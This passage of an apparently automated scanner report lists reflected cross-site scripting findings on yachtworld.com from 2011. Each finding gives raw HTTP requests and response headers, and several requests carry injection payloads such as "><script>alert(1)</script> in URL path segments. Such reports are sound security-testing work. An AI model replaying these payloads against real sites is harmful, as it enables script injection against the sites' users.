VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:51:32 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3c806"><a>b4bf5174a11 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /boats/category/type/Bertram3c806"><a>b4bf5174a11/1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:51:38 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e8d91"><script>alert(1)</script>a2aac47c88d was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boats/category/type/Bertram/1e8d91"><script>alert(1)</script>a2aac47c88d HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:51:45 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c7edc"><a>9c955f6a6e2 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /boats/category/typec7edc"><a>9c955f6a6e2/Boston+Whaler/1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:51:46 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 48744"><a>c838f7e4180 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /boats/category/type/Boston+Whaler48744"><a>c838f7e4180/1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:51:56 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d343b"><script>alert(1)</script>731c6420188 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boats/category/type/Boston+Whaler/1d343b"><script>alert(1)</script>731c6420188 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; 